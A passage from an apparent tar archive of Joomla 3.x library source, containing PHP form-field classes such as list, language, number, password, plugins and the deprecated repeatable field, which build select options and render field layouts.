for ($i = $first; $i >= $last; $i += $step)
{
$options[] = JHtml::_('select.option', $i);
}
}
else
{
// Build the options array.
for ($i = $first; $i <= $last; $i += $step)
{
$options[] = JHtml::_('select.option', $i);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/language.php000064400000004043151171674100011255
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Supports a list of installed application languages
*
* @see JFormFieldContentLanguage for a select list of content
languages.
* @since 1.7.0
*/
class JFormFieldLanguage extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Language';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
// Initialize some field attributes.
$client = (string) $this->element['client'];
if ($client != 'site' && $client !=
'administrator')
{
$client = 'site';
}
// Make sure the languages are sorted base on locale instead of random
sorting
$languages = JLanguageHelper::createLanguageList($this->value,
constant('JPATH_' . strtoupper($client)), true, true);
if (count($languages) > 1)
{
usort(
$languages,
function ($a, $b)
{
return strcmp($a['value'], $b['value']);
}
);
}
// Merge any additional options in the XML definition.
$options = array_merge(
parent::getOptions(),
$languages
);
// Set the default value active language
if ($langParams = JComponentHelper::getParams('com_languages'))
{
switch ((string) $this->value)
{
case 'site':
case 'frontend':
case '0':
$this->value = $langParams->get('site',
'en-GB');
break;
case 'admin':
case 'administrator':
case 'backend':
case '1':
$this->value = $langParams->get('administrator',
'en-GB');
break;
case 'active':
case 'auto':
$lang = JFactory::getLanguage();
$this->value = $lang->getTag();
break;
default:
break;
}
}
return $options;
}
}
form/fields/list.php000064400000016434151171674100010454 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a generic list of options.
*
* @since 1.7.0
*/
class JFormFieldList extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'List';
/**
* Method to get the field input markup for a generic list.
* Use the multiple attribute to enable multiselect.
*
* @return string The field input markup.
*
* @since 3.7.0
*/
protected function getInput()
{
$html = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true' || (string) $this->disabled ==
'1'|| (string) $this->disabled == 'true')
{
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = (array) $this->getOptions();
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true')
{
$html[] = JHtml::_('select.genericlist', $options,
'', trim($attr), 'value', 'text',
$this->value, $this->id);
// E.g. form field type tag sends $this->value as array
if ($this->multiple && is_array($this->value))
{
if (!count($this->value))
{
$this->value[] = '';
}
foreach ($this->value as $value)
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '"/>';
}
}
else
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'"/>';
}
}
else
// Create a regular list passing the arguments in an array.
{
$listoptions = array();
$listoptions['option.key'] = 'value';
$listoptions['option.text'] = 'text';
$listoptions['list.select'] = $this->value;
$listoptions['id'] = $this->id;
$listoptions['list.translate'] = false;
$listoptions['option.attr'] = 'optionattr';
$listoptions['list.attr'] = trim($attr);
$html[] = JHtml::_('select.genericlist', $options,
$this->name, $listoptions);
}
return implode($html);
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 3.7.0
*/
protected function getOptions()
{
$fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname);
$options = array();
foreach ($this->element->xpath('option') as $option)
{
// Filter requirements
if ($requires = explode(',', (string)
$option['requires']))
{
// Requires multilanguage
if (in_array('multilanguage', $requires) &&
!JLanguageMultilang::isEnabled())
{
continue;
}
// Requires associations
if (in_array('associations', $requires) &&
!JLanguageAssociations::isEnabled())
{
continue;
}
// Requires adminlanguage
if (in_array('adminlanguage', $requires) &&
!JModuleHelper::isAdminMultilang())
{
continue;
}
// Requires vote plugin
if (in_array('vote', $requires) &&
!JPluginHelper::isEnabled('content', 'vote'))
{
continue;
}
}
$value = (string) $option['value'];
$text = trim((string) $option) != '' ? trim((string) $option)
: $value;
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
$disabled = $disabled || ($this->readonly && $value !=
$this->value);
$checked = (string) $option['checked'];
$checked = ($checked == 'true' || $checked ==
'checked' || $checked == '1');
$selected = (string) $option['selected'];
$selected = ($selected == 'true' || $selected ==
'selected' || $selected == '1');
$tmp = array(
'value' => $value,
'text' => JText::alt($text, $fieldname),
'disable' => $disabled,
'class' => (string) $option['class'],
'selected' => ($checked || $selected),
'checked' => ($checked || $selected),
);
// Set some event handler attributes. But really, should be using
unobtrusive js.
$tmp['onclick'] = (string) $option['onclick'];
$tmp['onchange'] = (string) $option['onchange'];
if ((string) $option['showon'])
{
$tmp['optionattr'] = " data-showon='" .
json_encode(
JFormHelper::parseShowOnConditions((string)
$option['showon'], $this->formControl, $this->group)
)
. "'";
}
// Add the option object to the result set.
$options[] = (object) $tmp;
}
if ($this->element['useglobal'])
{
$tmp = new stdClass;
$tmp->value = '';
$tmp->text = JText::_('JGLOBAL_USE_GLOBAL');
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
foreach ($options as $option)
{
if ($option->value === $value)
{
$value = $option->text;
break;
}
}
$tmp->text = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
array_unshift($options, $tmp);
}
reset($options);
return $options;
}
/**
* Method to add an option to the list field.
*
* @param string $text Text/Language variable of the option.
* @param array $attributes Array of attributes ('name'
=> 'value' format)
*
* @return JFormFieldList For chaining.
*
* @since 3.7.0
*/
public function addOption($text, $attributes = array())
{
if ($text && $this->element instanceof SimpleXMLElement)
{
$child = $this->element->addChild('option', $text);
foreach ($attributes as $name => $value)
{
$child->addAttribute($name, $value);
}
}
return $this;
}
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.7.0
*/
public function __get($name)
{
if ($name == 'options')
{
return $this->getOptions();
}
return parent::__get($name);
}
}
form/fields/meter.php000064400000011010151171674100010576 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('number');
/**
* Form Field class for the Joomla Platform.
* Provides a meter to show value in a range.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldMeter extends JFormFieldNumber
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Meter';
/**
* The width of the field increased or decreased.
*
* @var string
* @since 3.2
*/
protected $width;
/**
* Whether the field is active or not.
*
* @var boolean
* @since 3.2
*/
protected $active = false;
/**
* Whether the field is animated or not.
*
* @var boolean
* @since 3.2
*/
protected $animated = true;
/**
* The color of the field
*
* @var boolean
* @since 3.2
*/
protected $color;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.meter';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'active':
case 'width':
case 'animated':
case 'color':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'width':
case 'color':
$this->$name = (string) $value;
break;
case 'active':
$value = (string) $value;
$this->active = ($value === 'true' || $value === $name ||
$value === '1');
break;
case 'animated':
$value = (string) $value;
$this->animated = !($value === 'false' || $value ===
'off' || $value === '0');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->width = isset($this->element['width']) ? (string)
$this->element['width'] : '';
$this->color = isset($this->element['color']) ? (string)
$this->element['color'] : '';
$active = (string) $this->element['active'];
$this->active = ($active == 'true' || $active ==
'on' || $active == '1');
$animated = (string) $this->element['animated'];
$this->animated = !($animated == 'false' || $animated ==
'off' || $animated == '0');
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'width' => $this->width,
'color' => $this->color,
'animated' => $this->animated,
'active' => $this->active,
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
);
return array_merge($data, $extraData);
}
}
form/fields/note.php000064400000003467151171674100010450 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a one line text field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 1.7.0
*/
class JFormFieldNote extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Note';
/**
* Method to get the field label markup.
*
* @return string The field label markup.
*
* @since 1.7.0
*/
protected function getLabel()
{
if (empty($this->element['label']) &&
empty($this->element['description']))
{
return '';
}
$title = $this->element['label'] ? (string)
$this->element['label'] :
($this->element['title'] ? (string)
$this->element['title'] : '');
$heading = $this->element['heading'] ? (string)
$this->element['heading'] : 'h4';
$description = (string) $this->element['description'];
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$close = (string) $this->element['close'];
$html = array();
if ($close)
{
$close = $close == 'true' ? 'alert' : $close;
$html[] = '<button type="button"
class="close" data-dismiss="' . $close .
'">×</button>';
}
$html[] = !empty($title) ? '<' . $heading . '>'
. JText::_($title) . '</' . $heading . '>' :
'';
$html[] = !empty($description) ? JText::_($description) : '';
return '</div><div ' . $class . '>' .
implode('', $html);
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
return '';
}
}
form/fields/number.php000064400000011463151171674100010766 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a one line text box with up-down handles to set a number in the
field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldNumber extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Number';
/**
* The allowable maximum value of the field.
*
* @var float
* @since 3.2
*/
protected $max = null;
/**
* The allowable minimum value of the field.
*
* @var float
* @since 3.2
*/
protected $min = null;
/**
* The step by which value of the field increased or decreased.
*
* @var float
* @since 3.2
*/
protected $step = 0;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.number';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'max':
case 'min':
case 'step':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'step':
case 'min':
case 'max':
$this->$name = (float) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
// It is better not to force any default limits if none is specified
$this->max = isset($this->element['max']) ? (float)
$this->element['max'] : null;
$this->min = isset($this->element['min']) ? (float)
$this->element['min'] : null;
$this->step = isset($this->element['step']) ? (float)
$this->element['step'] : 1;
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
if ($this->element['useglobal'])
{
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
$this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
}
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
'value' => $this->value,
);
return array_merge($data, $extraData);
}
}
form/fields/password.php000064400000010655151171674100011342
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Text field for passwords
*
* @link
http://www.w3.org/TR/html-markup/input.password.html#input.password
* @note Two password fields may be validated as matching using
JFormRuleEquals
* @since 1.7.0
*/
class JFormFieldPassword extends JFormField
{
/**
* Attach an unlock button and disable the input field,
* also remove the value from the output.
*
* @var boolean
* @since 3.9.24
*/
protected $lock = false;
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Password';
/**
* The threshold of password field.
*
* @var integer
* @since 3.2
*/
protected $threshold = 66;
/**
* The allowable maxlength of password.
*
* @var integer
* @since 3.2
*/
protected $maxLength;
/**
* Whether to attach a password strength meter or not.
*
* @var boolean
* @since 3.2
*/
protected $meter = false;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.password';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'lock':
case 'threshold':
case 'maxLength':
case 'meter':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
$value = (string) $value;
switch ($name)
{
case 'maxLength':
case 'threshold':
$this->$name = $value;
break;
case 'lock':
case 'meter':
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$lock = (string) $this->element['lock'];
$this->lock = ($lock == 'true' || $lock == 'on'
|| $lock == '1');
$this->maxLength = $this->element['maxlength'] ? (int)
$this->element['maxlength'] : 99;
$this->threshold = $this->element['threshold'] ? (int)
$this->element['threshold'] : 66;
$meter = (string) $this->element['strengthmeter'];
$this->meter = ($meter == 'true' || $meter ==
'on' || $meter == '1');
}
return $return;
}
/**
* Method to get the field input markup for password.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'lock' => $this->lock,
'maxLength' => $this->maxLength,
'meter' => $this->meter,
'threshold' => $this->threshold,
);
return array_merge($data, $extraData);
}
}
form/fields/plugins.php000064400000010344151171674100011154
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 2.5.0
*/
class JFormFieldPlugins extends JFormFieldList
{
/**
* The field type.
*
* @var string
* @since 2.5.0
*/
protected $type = 'Plugins';
/**
* The path to folder for plugins.
*
* @var string
* @since 3.2
*/
protected $folder;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'folder':
return $this->folder;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'folder':
$this->folder = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->folder = (string) $this->element['folder'];
}
return $return;
}
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 2.5.0
*/
protected function getOptions()
{
$folder = $this->folder;
$parentOptions = parent::getOptions();
if (!empty($folder))
{
// Get list of plugins
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('element AS value, name AS text')
->from('#__extensions')
->where('folder = ' . $db->quote($folder))
->where('enabled = 1')
->order('ordering, name');
if ((string) $this->element['useaccess'] ===
'true')
{
$groups = implode(',',
JFactory::getUser()->getAuthorisedViewLevels());
$query->where($db->quoteName('access') . ' IN
(' . $groups . ')');
}
$options = $db->setQuery($query)->loadObjectList();
$lang = JFactory::getLanguage();
$useGlobal = $this->element['useglobal'];
if ($useGlobal)
{
$globalValue = JFactory::getConfig()->get($this->fieldname);
}
foreach ($options as $i => $item)
{
$source = JPATH_PLUGINS . '/' . $folder . '/' .
$item->value;
$extension = 'plg_' . $folder . '_' .
$item->value;
$lang->load($extension . '.sys', JPATH_ADMINISTRATOR,
null, false, true) || $lang->load($extension . '.sys',
$source, null, false, true);
$options[$i]->text = JText::_($item->text);
// If we are using useglobal update the use global value text with the
plugin text.
if ($useGlobal && isset($parentOptions[0]) &&
$item->value === $globalValue)
{
$text = JText::_($extension);
$parentOptions[0]->text =
JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', ($text ===
'' || $text === $extension ? $item->value : $text));
}
}
}
else
{
JLog::add(JText::_('JFRAMEWORK_FORM_FIELDS_PLUGINS_ERROR_FOLDER_EMPTY'),
JLog::WARNING, 'jerror');
}
return array_merge($parentOptions, $options);
}
}
form/fields/predefinedlist.php000064400000003651151171674100012477
0ustar00<?php
/**
* @package Joomla.Libraries
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field to load a list of predefined values
*
* @since 3.2
*/
abstract class JFormFieldPredefinedList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'PredefinedList';
/**
* Cached array of the category items.
*
* @var array
* @since 3.2
*/
protected static $options = array();
/**
* Available predefined options
*
* @var array
* @since 3.2
*/
protected $predefinedOptions = array();
/**
* Translate options labels ?
*
* @var boolean
* @since 3.2
*/
protected $translate = true;
/**
* Method to get the options to populate list
*
* @return array The field option objects.
*
* @since 3.2
*/
protected function getOptions()
{
// Hash for caching
$hash = md5($this->element);
$type = strtolower($this->type);
if (!isset(static::$options[$type][$hash]) &&
!empty($this->predefinedOptions))
{
static::$options[$type][$hash] = parent::getOptions();
$options = array();
// Allow to only use specific values of the predefined list
$filter = isset($this->element['filter']) ?
explode(',', $this->element['filter']) : array();
foreach ($this->predefinedOptions as $value => $text)
{
$val = (string) $value;
if (empty($filter) || in_array($val, $filter, true))
{
$text = $this->translate ? JText::_($text) : $text;
$options[] = (object) array(
'value' => $value,
'text' => $text,
);
}
}
static::$options[$type][$hash] =
array_merge(static::$options[$type][$hash], $options);
}
return static::$options[$type][$hash];
}
}
form/fields/radio.php000064400000002761151171674100010575 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides radio button inputs
*
* @link
http://www.w3.org/TR/html-markup/command.radio.html#command.radio
* @since 1.7.0
*/
class JFormFieldRadio extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Radio';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.radio';
/**
* Method to get the radio button field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'options' => $this->getOptions(),
'value' => (string) $this->value,
);
return array_merge($data, $extraData);
}
}
form/fields/range.php000064400000002642151171674100010571 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('number');
/**
* Form Field class for the Joomla Platform.
* Provides a horizontal scroll bar to specify a value in a range.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldRange extends JFormFieldNumber
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Range';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.range';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
);
return array_merge($data, $extraData);
}
}
form/fields/repeatable.php000064400000013154151171674100011601
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Display a JSON loaded window with a repeatable set of sub fields
*
* @since 3.2
*
* @deprecated 4.0 Use JFormFieldSubform
*/
class JFormFieldRepeatable extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Repeatable';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
JLog::add('JFormFieldRepeatable is deprecated. Use JFormFieldSubform
instead.', JLog::WARNING, 'deprecated');
// Initialize variables.
$subForm = new JForm($this->name, array('control' =>
'jform'));
$xml = $this->element->children()->asXml();
$subForm->load($xml);
// Needed for repeating modals in gmaps
// @TODO: what and where???
$subForm->repeatCounter = (int) @$this->form->repeatCounter;
$children = $this->element->children();
$subForm->setFields($children);
// If a maximum value isn't set then we'll make the maximum
amount of cells a large number
$maximum = $this->element['maximum'] ? (int)
$this->element['maximum'] : '999';
// Build a Table
$head_row_str = array();
$body_row_str = array();
$head_row_str[] = '<th></th>';
$body_row_str[] = '<td><span class="sortable-handler
" style="cursor: move;"><span
class="icon-menu"
aria-hidden="true"></span></span></td>';
foreach ($subForm->getFieldset() as $field)
{
// Reset name to simple
$field->name = (string) $field->element['name'];
// Build heading
$head_row_str[] = '<th>' .
strip_tags($field->getLabel($field->name));
$head_row_str[] = '<br /><small
style="font-weight:normal">' .
JText::_($field->description) . '</small>';
$head_row_str[] = '</th>';
// Build body
$body_row_str[] = '<td>' . $field->getInput() .
'</td>';
}
// Append buttons
$head_row_str[] = '<th><div
class="btn-group"><a href="#" class="add btn
button btn-success" aria-label="' .
JText::_('JGLOBAL_FIELD_ADD') . '">';
$head_row_str[] = '<span class="icon-plus"
aria-hidden="true"></span>
</a></div></th>';
$body_row_str[] = '<td><div
class="btn-group">';
$body_row_str[] = '<a class="add btn button
btn-success" aria-label="' .
JText::_('JGLOBAL_FIELD_ADD') . '">';
$body_row_str[] = '<span class="icon-plus"
aria-hidden="true"></span> </a>';
$body_row_str[] = '<a class="remove btn button
btn-danger" aria-label="' .
JText::_('JGLOBAL_FIELD_REMOVE') . '">';
$body_row_str[] = '<span class="icon-minus"
aria-hidden="true"></span> </a>';
$body_row_str[] = '</div></td>';
// Put all table parts together
$table = '<table id="' . $this->id .
'_table" class="adminlist ' .
$this->element['class'] . ' table
table-striped">'
. '<thead><tr>' . implode("\n",
$head_row_str) . '</tr></thead>'
. '<tbody><tr>' . implode("\n",
$body_row_str) . '</tr></tbody>'
. '</table>';
// And finally build a main container
$str = array();
$str[] = '<div id="' . $this->id .
'_container">';
// Add the table to modal
$str[] = '<div id="' . $this->id .
'_modal" class="modal hide">';
$str[] = $table;
$str[] = '<div class="modal-footer">';
$str[] = '<button class="close-modal btn button
btn-link">' . JText::_('JCANCEL') .
'</button>';
$str[] = '<button class="save-modal-data btn button
btn-primary">' . JText::_('JAPPLY') .
'</button>';
$str[] = '</div>';
// Close modal container
$str[] = '</div>';
// Close main container
$str[] = '</div>';
// Button for display the modal window
$select = (string) $this->element['select'] ?
JText::_((string) $this->element['select']) :
JText::_('JLIB_FORM_BUTTON_SELECT');
